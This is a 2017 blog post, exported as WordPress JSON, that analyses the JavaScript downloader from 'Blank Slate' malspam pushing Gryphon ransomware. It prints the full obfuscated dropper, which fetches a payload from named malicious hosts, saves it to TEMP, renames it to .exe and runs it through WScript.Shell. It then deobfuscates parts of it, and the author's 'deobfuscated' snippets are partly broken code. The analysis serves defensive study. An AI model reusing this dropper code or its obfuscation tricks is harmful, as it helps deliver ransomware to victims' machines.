{"id":932,"date":"2017-08-04T14:06:42","date_gmt":"2017-08-04T13:06:42","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=932"},"modified":"2017-08-04T14:06:42","modified_gmt":"2017-08-04T13:06:42","slug":"2017-08-04-quick-post-deobfuscating-the-javascript-from-blank-slate-malspam-pushing-gryphon-ransomware-a-btcware-variant","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=932","title":{"rendered":"2017-08-04 Quick Post &#8211; Deobfuscating the Javascript from &#8220;Blank Slate&#8221; malspam Pushing Gryphon Ransomware (A BTCware variant)"},"content":{"rendered":"<p>Just a quick one for today. I saw Brad&#8217;s <a href=\"http:\/\/twitter.com\/malware_traffic\/status\/892954278540840960\" target=\"_blank\">tweet<\/a> about a sample of Blank Slate malspam and decided to see if I could find some today while at work. Thankfully the email filters did their job and all of them were blocked. Brad also blogged about this over on his blog which you can read about <a href=\"http:\/\/malware-traffic-analysis.net\/2017\/08\/02\/index4.html\" target=\"_blank\">here<\/a>. Instead of breaking down the traffic and such (since he already did an excellent job at that and since the callbacks are exactly the same as his), I figured that I would try my hand at deobfuscating the Javascript. Some of it I got and understand, while other parts of the script I am not sure about since there are parameters that are being passed around that I do not see being declared. <\/p>\n<p>Below is the original Javascript code. My goal was to try and figure out 1) what where the URLs involved in this, 2) where did it save the file to, and 3) what was the name of the file. <\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\"> \r\nvar OYVVwnOtP = new Function('grXPRbLhz, FXv', 'FXv.Open(); FXv.Type = 1;  FXv.Write(grXPRbLhz); FXv.Position = 0;');\r\n\r\nfunction JBDmDZBuEB(grXPRbLhz, LrbxZvcrBPR){\r\n\teval('var FXv = new ActiveXObject(&quot;ADODB.Stream&quot;);');\r\n  OYVVwnOtP(grXPRbLhz, FXv); \r\n   FXv.SaveToFile(LrbxZvcrBPR, 2);\r\n   FXv.Close();\r\n   return true;\r\n}\r\n\r\nfunction ZHBCBwZoAeg(iHrrDmvJ){\r\n\treturn iHrrDmvJ(null, true);\r\n}\r\n\r\nfunction YbfHyzPEx(grXPRbLhz, NeWBrXq){\r\n try{\r\n  var LrbxZvcrBPR = kkjtVXmjFGm();\r\n  if (LrbxZvcrBPR){\r\nvar PtboGJ = JBDmDZBuEB(grXPRbLhz, LrbxZvcrBPR); \r\n   if(!PtboGJ){\r\n\t  WScript.Echo('JBtVVL'); \r\n   }\r\n   return NeWBrXq(LrbxZvcrBPR, false);\r\n  }else {\r\n   return NeWBrXq(null, true);\r\n  }\r\n }catch (error){\r\n  ZHBCBwZoAeg(function(iHrrDmvJ){\r\n    return NeWBrXq(iHrrDmvJ);\r\n});\r\n }\r\n}\r\n\r\nfunction BfXn(uhbWZftIiwx){\r\ntry{\r\n var cLdawRT = 'h!.f#it%%t!.f#it%%t!.f#it%%p!.f#it%%:!.f#it%%\/!.f#it%%\/!.f#it%%s!.f#it%%c!.f#it%%e!.f#it%%n!.f#it%%e!.f#it%%t!.f#it%%a!.f#it%%v!.f#it%%e!.f#it%%r!.f#it%%n!.f#it%%.!.f#it%%w!.f#it%%i!.f#it%%n!.f#it%%\/!.f#it%%s!.f#it%%u!.f#it%%p!.f#it%%p!.f#it%%o!.f#it%%r!.f#it%%t!.f#it%%.!.f#it%%p!.f#it%%h!.f#it%%p!.f#it%%?!.f#it%%f!.f#it%%=!.f#it%%1!.f#it%%.!.f#it%%d!.f#it%%a!.f#it%%t'.split('!.f#it%%').join('');\r\n   zyNFNhDt(cLdawRT, function(rRqDEZL, XNrxa) {\r\n\tif (!XNrxa){\r\n    return uhbWZftIiwx(rRqDEZL, false);\r\n }else{\r\nvar An = 'ho,lmiyXBToUPto,lmiyXBToUPto,lmiyXBToUPpo,lmiyXBToUP:o,lmiyXBToUP\/o,lmiyXBToUP\/o,lmiyXBToUPho,lmiyXBToUPao,lmiyXBToUPlo,lmiyXBToUPlo,lmiyXBToUPvo,lmiyXBToUPio,lmiyXBToUPlo,lmiyXBToUPlo,lmiyXBToUPao,lmiyXBToUP.o,lmiyXBToUPwo,lmiyXBToUPio,lmiyXBToUPno,lmiyXBToUP\/o,lmiyXBToUPso,lmiyXBToUPuo,lmiyXBToUPpo,lmiyXBToUPpo,lmiyXBToUPoo,lmiyXBToUPro,lmiyXBToUPto,lmiyXBToUP.o,lmiyXBToUPpo,lmiyXBToUPho,lmiyXBToUPpo,lmiyXBToUP?o,lmiyXBToUPfo,lmiyXBToUP=o,lmiyXBToUP1o,lmiyXBToUP.o,lmiyXBToUPdo,lmiyXBToUPao,lmiyXBToUPt'.split('o,lmiyXBToUP').join('');\r\n          zyNFNhDt(An, function(rRqDEZL, XNrxa) {\r\n\t          if (!XNrxa){\r\n                 return uhbWZftIiwx(rRqDEZL, false);\r\n\t          }else{\r\n var LeBwYRrA = 'hudraUtudraUtudraUpudraU:udraU\/udraU\/udraUhudraUaudraUludraUludraUvudraUiudraUludraUludraUaudraU.udraUwudraUiudraUnudraU\/udraUsudraUuudraUpudraUpudraUoudraUrudraUtudraU.udraUpudraUhudraUpudraU?udraUfudraU=udraU1udraU.udraUdudraUaudraUt'.split('udraU').join('');\r\n\t               zyNFNhDt(LeBwYRrA, function(rRqDEZL, XNrxa) {\r\n\t                 if (!XNrxa){\r\n                        return uhbWZftIiwx(rRqDEZL, false);\r\n\t                 }else{\r\nvar fDCLYoAfB = 'h.%VhouJXxexz.Qt.%VhouJXxexz.Qt.%VhouJXxexz.Qp.%VhouJXxexz.Q:.%VhouJXxexz.Q\/.%VhouJXxexz.Q\/.%VhouJXxexz.Qh.%VhouJXxexz.Qa.%VhouJXxexz.Ql.%VhouJXxexz.Ql.%VhouJXxexz.Qv.%VhouJXxexz.Qi.%VhouJXxexz.Ql.%VhouJXxexz.Ql.%VhouJXxexz.Qa.%VhouJXxexz.Q..%VhouJXxexz.Qw.%VhouJXxexz.Qi.%VhouJXxexz.Qn.%VhouJXxexz.Q\/.%VhouJXxexz.Qs.%VhouJXxexz.Qu.%VhouJXxexz.Qp.%VhouJXxexz.Qp.%VhouJXxexz.Qo.%VhouJXxexz.Qr.%VhouJXxexz.Qt.%VhouJXxexz.Q..%VhouJXxexz.Qp.%VhouJXxexz.Qh.%VhouJXxexz.Qp.%VhouJXxexz.Q?.%VhouJXxexz.Qf.%VhouJXxexz.Q=.%VhouJXxexz.Q1.%VhouJXxexz.Q..%VhouJXxexz.Qd.%VhouJXxexz.Qa.%VhouJXxexz.Qt'.split('.%VhouJXxexz.Q').join('');\r\n\t                       zyNFNhDt(fDCLYoAfB, function(rRqDEZL, XNrxa) {\r\n\t                          if (!XNrxa){\r\n                                 return uhbWZftIiwx(rRqDEZL, false);\r\n\t                          }else{\r\n\t var ZdDFB = 'h*UTE%pyNccJCzNt*UTE%pyNccJCzNt*UTE%pyNccJCzNp*UTE%pyNccJCzN:*UTE%pyNccJCzN\/*UTE%pyNccJCzN\/*UTE%pyNccJCzNh*UTE%pyNccJCzNa*UTE%pyNccJCzNl*UTE%pyNccJCzNl*UTE%pyNccJCzNv*UTE%pyNccJCzNi*UTE%pyNccJCzNl*UTE%pyNccJCzNl*UTE%pyNccJCzNa*UTE%pyNccJCzN.*UTE%pyNccJCzNw*UTE%pyNccJCzNi*UTE%pyNccJCzNn*UTE%pyNccJCzN\/*UTE%pyNccJCzNs*UTE%pyNccJCzNu*UTE%pyNccJCzNp*UTE%pyNccJCzNp*UTE%pyNccJCzNo*UTE%pyNccJCzNr*UTE%pyNccJCzNt*UTE%pyNccJCzN.*UTE%pyNccJCzNp*UTE%pyNccJCzNh*UTE%pyNccJCzNp*UTE%pyNccJCzN?*UTE%pyNccJCzNf*UTE%pyNccJCzN=*UTE%pyNccJCzN1*UTE%pyNccJCzN.*UTE%pyNccJCzNd*UTE%pyNccJCzNa*UTE%pyNccJCzNt'.split('*UTE%pyNccJCzN').join('');\r\n\t                                 zyNFNhDt(ZdDFB, function(rRqDEZL, XNrxa) {\r\n\t                                 if (!XNrxa){\r\n                                        return uhbWZftIiwx(rRqDEZL, false);\r\n\t                                 }else{\r\n\t                                      return uhbWZftIiwx(null, true);\r\n\t                                 }\r\n\t\t                         });\r\n\t                          }\r\n\t\t                  });\r\n\t                 }\r\n\t\t         });\r\n\t           }\r\n\t         });\r\n\t}\r\n  });\r\n}catch (error){\r\n\t WScript.Echo(error);\r\n  return callback(null, true);\r\n }\r\n}\r\n\r\nvar UuWLYb = new Function('jqOgH, gKcsgoe, wXctwooFWY, bjxBDp, LPVLBzsXfZ', &quot;jqOgH.open(wXctwooFWY+bjxBDp+LPVLBzsXfZ, gKcsgoe, false); jqOgH.send();&quot;);\r\n\r\nfunction zyNFNhDt(gKcsgoe, oNec){\r\n try{\r\nvar wXctwooFWY = 'G', bjxBDp = 'E', LPVLBzsXfZ='T';\r\n  var jqOgH = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);\r\n  UuWLYb(jqOgH, gKcsgoe, wXctwooFWY, bjxBDp, LPVLBzsXfZ);\r\n  if (jqOgH.status == 200) {\r\n   return oNec(jqOgH.ResponseBody, false);\r\n  }else{\r\n   return oNec(null, true);}\r\n }catch (error){\r\n   return oNec(null, true);\r\n }\r\n}\r\nfunction XfVTJpem(sbzyF){\r\n\tvar NGYTpk = Math.random().toString(sbzyF);\r\n\treturn NGYTpk;\r\n}\r\nfunction kkjtVXmjFGm(){\r\n  try{\r\n\tvar vmKSEe = new ActiveXObject('Scripting.FileSystemObject');\r\n   var hrqrpe = &quot;\\\\&quot;;\r\n   var sbzyF = 60 - 30 + 6, NCN = 200 - 200 + 2, dGo =  300 - 300 + 9, FxXqfgl = &quot;.jpeg&quot;;\r\n   eval('var NGYTpk = XfVTJpem(sbzyF);');\r\n   var WgAnQ  = NGYTpk.substr(NCN, dGo) + FxXqfgl;\r\n   var QlKC = hrqrpe + WgAnQ;\r\n   eval('var gdSzth = vmKSEe.GetSpecialFolder(2) + QlKC;')\r\n   return gdSzth;\r\n  }catch (error){\r\n   return false;\r\n  }\r\n}\r\n\r\nfunction wP(weYEnghOO, pjueW){\r\n\t  try{\r\n   var gxbzl, FkZHVBSIleW = '.eLgwbscAmuvxe';\r\n   gxbzl = new ActiveXObject('Scripting.FileSystemObject');\r\n   gxbzl.CopyFile(weYEnghOO, weYEnghOO.replace('.jpeg','') + FkZHVBSIleW.replace('LgwbscAmuv',''));\r\n   return pjueW(weYEnghOO.replace('.jpeg','') + FkZHVBSIleW.replace('LgwbscAmuv',''));\r\n\t  }catch(e){\r\n\t\t  return null;\r\n\t  }\r\n}\r\nBfXn(function (DA, error) {\r\n  if (!error){\r\n   YbfHyzPEx(DA, function (fbJE, error) {\r\n    if (!error){\r\n     try{\r\n\t\tsXlXzdxRV(fbJE);\r\n     }catch (error) {}\r\n    }\r\n   });\r\n  }\r\n});\r\n\r\nfunction IvnSs(aLXV, bkHS){\r\n eval('var WJ = '+ aLXV+';  WJ.Run(bkHS);');\r\n}\r\n\r\n;function xvH(aLXV, bkHS){\r\n IvnSs(aLXV, bkHS);\r\n}\r\n \r\nfunction sHmTwEdTKus(EhUQRAnFKJ){\r\n var fRsxWxzjms = &quot;WScript.Shell&quot;;\r\n var WJ = new ActiveXObject(fRsxWxzjms);  WJ.Run(EhUQRAnFKJ);\r\n}\r\n\r\nfunction EGggPCw(aLXV, bkHS){\r\nxvH(aLXV, bkHS)\r\n}\r\n\r\nfunction VfjXQnOJOn(CdBxL){\r\nreturn CdBxL&#x5B;Math.floor((Math.random()*CdBxL.length))];\r\n}\r\n\r\nfunction nWzBNEcR(EhUQRAnFKJ){\r\n\t\t\tsHmTwEdTKus(EhUQRAnFKJ);\r\n}\r\n\t  function  VJfO(BmWRBjy, aLXV){\r\n\t\t  var LPVLBzsXfZ = 0;\r\n\t  for (var i = 0; i &lt; 10; i++) {\r\n\t\t  var GtbwmcRSqEG =  aLXV;\r\n\t\t  if(~GtbwmcRSqEG.indexOf('cript')){\r\n\t\t      LPVLBzsXfZ = 1;\r\n            var ndsU = 1;\r\n            while (ndsU &lt; 2) {\r\n\t\t\t  wP(BmWRBjy, function (sedWqVUi){\r\n\t              EGggPCw(aLXV, sedWqVUi);\r\n\t\t\t  });\r\n            ndsU++;\r\n            }\r\n\t\t      break;\r\n\t\t  }\r\n\t    }\r\n\t\treturn LPVLBzsXfZ;\r\n\t  }\r\n\r\nfunction sXlXzdxRV(path){\r\n\t  var PE = null, OB = null;\r\n\t  \r\n\t  var  aLXV = VfjXQnOJOn(&#x5B;'return ds','sdfd', 'new ActiveXObject(&quot;WScript.Shell&quot;)']);\r\n\t   var  npAEAofTSq = 0;\r\n\t   function  rIiZQV(){\r\n\t\t    VJfO(path, aLXV);\r\n\t\t    npAEAofTSq++;\r\n\t\t   if( npAEAofTSq &gt;1000054){\r\n\t\t\t   wP(path, function (nVA){\r\n\t                         nWzBNEcR(nVA)\r\n\t\t\t   });\r\n\t\t\t   return true;\r\n\t\t   }\r\n\t\t   return false;\r\n\t   }\r\n\t   var knWVRRPCS =  VJfO(path, aLXV);\r\n\t   \r\n\t   var i = 0;\t   \r\n\t   do {\r\n           i = knWVRRPCS;\r\n           var wgR =  rIiZQV();\t\r\n\t\t   if(wgR){\r\n\t\t\t   break;\t\r\n\t\t   }\r\n       } while (i &lt; 1);\r\n}<\/pre>\n<p>Basically I started off just trying to see any kind of patterns or anything that stood out. Looking through the code the first things that stood out where the following lines:<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nvar cLdawRT = 'h!.f#it%%t!.f#it%%t!.f#it%%p!.f#it%%:!.f#it%%\/!.f#it%%\/!.f#it%%s!.f#it%%c!.f#it%%e!.f#it%%n!.f#it%%e!.f#it%%t!.f#it%%a!.f#it%%v!.f#it%%e!.f#it%%r!.f#it%%n!.f#it%%.!.f#it%%w!.f#it%%i!.f#it%%n!.f#it%%\/!.f#it%%s!.f#it%%u!.f#it%%p!.f#it%%p!.f#it%%o!.f#it%%r!.f#it%%t!.f#it%%.!.f#it%%p!.f#it%%h!.f#it%%p!.f#it%%?!.f#it%%f!.f#it%%=!.f#it%%1!.f#it%%.!.f#it%%d!.f#it%%a!.f#it%%t'.split('!.f#it%%').join('');\r\n\r\nvar An = 'ho,lmiyXBToUPto,lmiyXBToUPto,lmiyXBToUPpo,lmiyXBToUP:o,lmiyXBToUP\/o,lmiyXBToUP\/o,lmiyXBToUPho,lmiyXBToUPao,lmiyXBToUPlo,lmiyXBToUPlo,lmiyXBToUPvo,lmiyXBToUPio,lmiyXBToUPlo,lmiyXBToUPlo,lmiyXBToUPao,lmiyXBToUP.o,lmiyXBToUPwo,lmiyXBToUPio,lmiyXBToUPno,lmiyXBToUP\/o,lmiyXBToUPso,lmiyXBToUPuo,lmiyXBToUPpo,lmiyXBToUPpo,lmiyXBToUPoo,lmiyXBToUPro,lmiyXBToUPto,lmiyXBToUP.o,lmiyXBToUPpo,lmiyXBToUPho,lmiyXBToUPpo,lmiyXBToUP?o,lmiyXBToUPfo,lmiyXBToUP=o,lmiyXBToUP1o,lmiyXBToUP.o,lmiyXBToUPdo,lmiyXBToUPao,lmiyXBToUPt'.split('o,lmiyXBToUP').join('');\r\n\r\nvar LeBwYRrA = 'hudraUtudraUtudraUpudraU:udraU\/udraU\/udraUhudraUaudraUludraUludraUvudraUiudraUludraUludraUaudraU.udraUwudraUiudraUnudraU\/udraUsudraUuudraUpudraUpudraUoudraUrudraUtudraU.udraUpudraUhudraUpudraU?udraUfudraU=udraU1udraU.udraUdudraUaudraUt'.split('udraU').join('');\r\n\r\nvar fDCLYoAfB = 'h.%VhouJXxexz.Qt.%VhouJXxexz.Qt.%VhouJXxexz.Qp.%VhouJXxexz.Q:.%VhouJXxexz.Q\/.%VhouJXxexz.Q\/.%VhouJXxexz.Qh.%VhouJXxexz.Qa.%VhouJXxexz.Ql.%VhouJXxexz.Ql.%VhouJXxexz.Qv.%VhouJXxexz.Qi.%VhouJXxexz.Ql.%VhouJXxexz.Ql.%VhouJXxexz.Qa.%VhouJXxexz.Q..%VhouJXxexz.Qw.%VhouJXxexz.Qi.%VhouJXxexz.Qn.%VhouJXxexz.Q\/.%VhouJXxexz.Qs.%VhouJXxexz.Qu.%VhouJXxexz.Qp.%VhouJXxexz.Qp.%VhouJXxexz.Qo.%VhouJXxexz.Qr.%VhouJXxexz.Qt.%VhouJXxexz.Q..%VhouJXxexz.Qp.%VhouJXxexz.Qh.%VhouJXxexz.Qp.%VhouJXxexz.Q?.%VhouJXxexz.Qf.%VhouJXxexz.Q=.%VhouJXxexz.Q1.%VhouJXxexz.Q..%VhouJXxexz.Qd.%VhouJXxexz.Qa.%VhouJXxexz.Qt'.split('.%VhouJXxexz.Q').join('');\r\n\r\nvar ZdDFB = 'h*UTE%pyNccJCzNt*UTE%pyNccJCzNt*UTE%pyNccJCzNp*UTE%pyNccJCzN:*UTE%pyNccJCzN\/*UTE%pyNccJCzN\/*UTE%pyNccJCzNh*UTE%pyNccJCzNa*UTE%pyNccJCzNl*UTE%pyNccJCzNl*UTE%pyNccJCzNv*UTE%pyNccJCzNi*UTE%pyNccJCzNl*UTE%pyNccJCzNl*UTE%pyNccJCzNa*UTE%pyNccJCzN.*UTE%pyNccJCzNw*UTE%pyNccJCzNi*UTE%pyNccJCzNn*UTE%pyNccJCzN\/*UTE%pyNccJCzNs*UTE%pyNccJCzNu*UTE%pyNccJCzNp*UTE%pyNccJCzNp*UTE%pyNccJCzNo*UTE%pyNccJCzNr*UTE%pyNccJCzNt*UTE%pyNccJCzN.*UTE%pyNccJCzNp*UTE%pyNccJCzNh*UTE%pyNccJCzNp*UTE%pyNccJCzN?*UTE%pyNccJCzNf*UTE%pyNccJCzN=*UTE%pyNccJCzN1*UTE%pyNccJCzN.*UTE%pyNccJCzNd*UTE%pyNccJCzNa*UTE%pyNccJCzNt'.split('*UTE%pyNccJCzN').join('');\r\n<\/pre>\n<p>So this is pretty simple. There is a repeated pattern in the above lines of code that get &#8220;cut&#8221; out via the JOIN command at the end of the line. Once you remove those characters, you are left with the following lines:<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nvar cLdawRT = 'http:\/\/scenetavern.win\/support.php?f=1.dat'.split('!.f#it%%').join('');\r\nvar An = 'http:\/\/hallvilla.win\/supprt.php?f=1.dat'.split('o,lmiyXBToUP').join('');\r\nvar LeBwYRrA = 'http:\/\/hallvilla.win\/support.php?f=1.dat'.split('udraU').join('');\r\nvar fDCLYoAfB = 'http:\/\/hallvilla.win\/support.php?f=1.dat'.split('.%VhouJXxexz.Q').join('');\r\nvar ZdDFB = 'http:\/\/hallvilla.win\/support.php?f=1.dat'.split('*UTE%pyNccJCzN').join('');\r\n<\/pre>\n<p>Next, I saw the part of the code that is responsible for the GET request. This stood out because of the way the &#8220;GET&#8221; characters were assigned to the different variables.<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nObfuscated\r\n----------\r\nvar UuWLYb = new Function('jqOgH, gKcsgoe, wXctwooFWY, bjxBDp, LPVLBzsXfZ', &quot;jqOgH.open(wXctwooFWY+bjxBDp+LPVLBzsXfZ, gKcsgoe, false); jqOgH.send();&quot;);\r\n\r\nfunction zyNFNhDt(gKcsgoe, oNec){\r\n try{\r\nvar wXctwooFWY = 'G', bjxBDp = 'E', LPVLBzsXfZ='T';\r\n  var jqOgH = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);\r\n  UuWLYb(jqOgH, gKcsgoe, wXctwooFWY, bjxBDp, LPVLBzsXfZ);\r\n  if (jqOgH.status == 200) {\r\n   return oNec(jqOgH.ResponseBody, false);\r\n  }else{\r\n   return oNec(null, true);}\r\n }catch (error){\r\n   return oNec(null, true);\r\n }\r\n}\r\n\r\nDeobfuscated\r\n------------\r\nvar UuWLYb = new Function('new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;), gKcsgoe, G, E, T', &quot;new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;).open(G+E+T, gKcsgoe, false); new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;).send();&quot;);\r\n\r\nfunction zyNFNhDt(gKcsgoe, oNec){\r\n try{\r\nvar wXctwooFWY = 'G', bjxBDp = 'E', LPVLBzsXfZ='T';\r\n  var jqOgH = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);\r\n  UuWLYb(new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);, gKcsgoe, G, E, T);\r\n  if (new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);.status == 200) {\r\n   return oNec(new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);.ResponseBody, false);\r\n  }else{\r\n   return oNec(null, true);}\r\n }catch (error){\r\n   return oNec(null, true);\r\n }\r\n}<\/pre>\n<p>From here the next three functions deals with the naming of the file (looks to be random) and where it is downloaded to (<a href=\"http:\/\/msdn.microsoft.com\/VBA\/Language-Reference-VBA\/articles\/specialfolder-constants\" target=\"_blank\">SpecialFolder 2<\/a> is the TEMP folder on the system). The interesting part here is the code, from what I can tell, is using a <a href=\"http:\/\/en.wikipedia.org\/wiki\/Senary#Base_36_as_senary_compression\" target=\"_blank\">base 36 numbering system<\/a> as seen in the piece of code &#8220;var NGYTpk = Math.random().toString(36).&#8221; Also, whatever the name of the file is, there is a <a href=\"http:\/\/www.w3schools.com\/jsref\/jsref_substr.asp\" target=\"_blank\">substr()<\/a> method that starts at the third character of the file name, and goes 9 characters. This is seen via the piece of code &#8220;.substr(2, 9).&#8221; The file then, from what I can tell, gets copied while also dropping the &#8220;.jpeg&#8221; file extension (since the replace statement is using a null value) and also proceeds to replace the value found in the variable &#8220;FkZHVBSIleW&#8221; (&#8216;.eLgwbscAmuvxe&#8217;) using &#8220;LgwbscAmuv&#8221; which leaves just &#8220;.exe.&#8221;<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nObfuscated\r\n----------\r\nfunction XfVTJpem(sbzyF){\r\n\tvar NGYTpk = Math.random().toString(sbzyF);\r\n\treturn NGYTpk;\r\n}\r\nfunction kkjtVXmjFGm(){\r\n  try{\r\n\tvar vmKSEe = new ActiveXObject('Scripting.FileSystemObject');\r\n   var hrqrpe = &quot;\\\\&quot;;\r\n   var sbzyF = 60 - 30 + 6, NCN = 200 - 200 + 2, dGo =  300 - 300 + 9, FxXqfgl = &quot;.jpeg&quot;;\r\n   eval('var NGYTpk = XfVTJpem(sbzyF);');\r\n   var WgAnQ  = NGYTpk.substr(NCN, dGo) + FxXqfgl;\r\n   var QlKC = hrqrpe + WgAnQ;\r\n   eval('var gdSzth = vmKSEe.GetSpecialFolder(2) + QlKC;')\r\n   return gdSzth;\r\n  }catch (error){\r\n   return false;\r\n  }\r\n}\r\n\r\nfunction wP(weYEnghOO, pjueW){\r\n\t  try{\r\n   var gxbzl, FkZHVBSIleW = '.eLgwbscAmuvxe';\r\n   gxbzl = new ActiveXObject('Scripting.FileSystemObject');\r\n   gxbzl.CopyFile(weYEnghOO, weYEnghOO.replace('.jpeg','') + FkZHVBSIleW.replace('LgwbscAmuv',''));\r\n   return pjueW(weYEnghOO.replace('.jpeg','') + FkZHVBSIleW.replace('LgwbscAmuv',''));\r\n\t  }catch(e){\r\n\t\t  return null;\r\n\t  }\r\n}\r\n\r\nDeobfuscated\r\n------------\r\nfunction XfVTJpem(36){\r\n\tvar NGYTpk = Math.random().toString(36);\r\n\treturn NGYTpk;\r\n\r\nfunction kkjtVXmjFGm(){\r\n  try{\r\n\tvar vmKSEe = new ActiveXObject('Scripting.FileSystemObject');\r\n   var hrqrpe = &quot;\\\\&quot;;\r\n   var sbzyF = 36, NCN = 2, dGo =  9, FxXqfgl = &quot;.jpeg&quot;;\r\n   eval('var NGYTpk = XfVTJpem(36);');\r\n   var WgAnQ  = XfVTJpem(36);.substr(2, 9) + .jpeg;\r\n   var QlKC = \\\\ + XfVTJpem(36);.substr(2, 9) + .jpeg;\r\n   eval('var gdSzth = new ActiveXObject('Scripting.FileSystemObject');.GetSpecialFolder(2) + \\\\ + XfVTJpem(36);.substr(2, 9) + .jpeg;')\r\n   return gdSzth;\r\n  }catch (error){\r\n   return false;\r\n  }\r\n\r\nfunction wP(weYEnghOO, pjueW){\r\n\t  try{\r\n   var gxbzl, FkZHVBSIleW = '.eLgwbscAmuvxe';\r\n   gxbzl = new ActiveXObject('Scripting.FileSystemObject');\r\n   new ActiveXObject('Scripting.FileSystemObject');.CopyFile(weYEnghOO, weYEnghOO.replace('.jpeg','') + '.eLgwbscAmuvxe'.replace('LgwbscAmuv',''));\r\n   return pjueW(weYEnghOO.replace('.jpeg','') + '.eLgwbscAmuvxe'.replace('LgwbscAmuv',''));\r\n\t  }catch(e){\r\n\t\t  return null;\r\n\t  }\r\n}<\/pre>\n<p>From there there are references to &#8220;WScript.Shell&#8221; and also a &#8220;Run&#8221; command as well which is most likely how the malware starts once the file has been downloaded. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Just a quick one for today. I saw Brad&#8217;s tweet about a sample of Blank Slate malspam and decided to see if I could find some today while at work. Thankfully the email filters did their job and all of them were blocked. Brad also blogged about this over on his blog which you can read about here. Instead of breaking down the traffic and such (since he already did an excellent job at that and since the callbacks are exactly the same as his), I figured that I would try my hand at deobfuscating the Javascript. Some of it&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=932\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-932","post","type-post","status-publish","format-standard","hentry","category-code"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/932","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=932"}],"version-history":[{"count":3,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/932\/revisions"}],"predecessor-version":[{"id":935,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/932\/revisions\/935"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=932"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=932"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=932"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}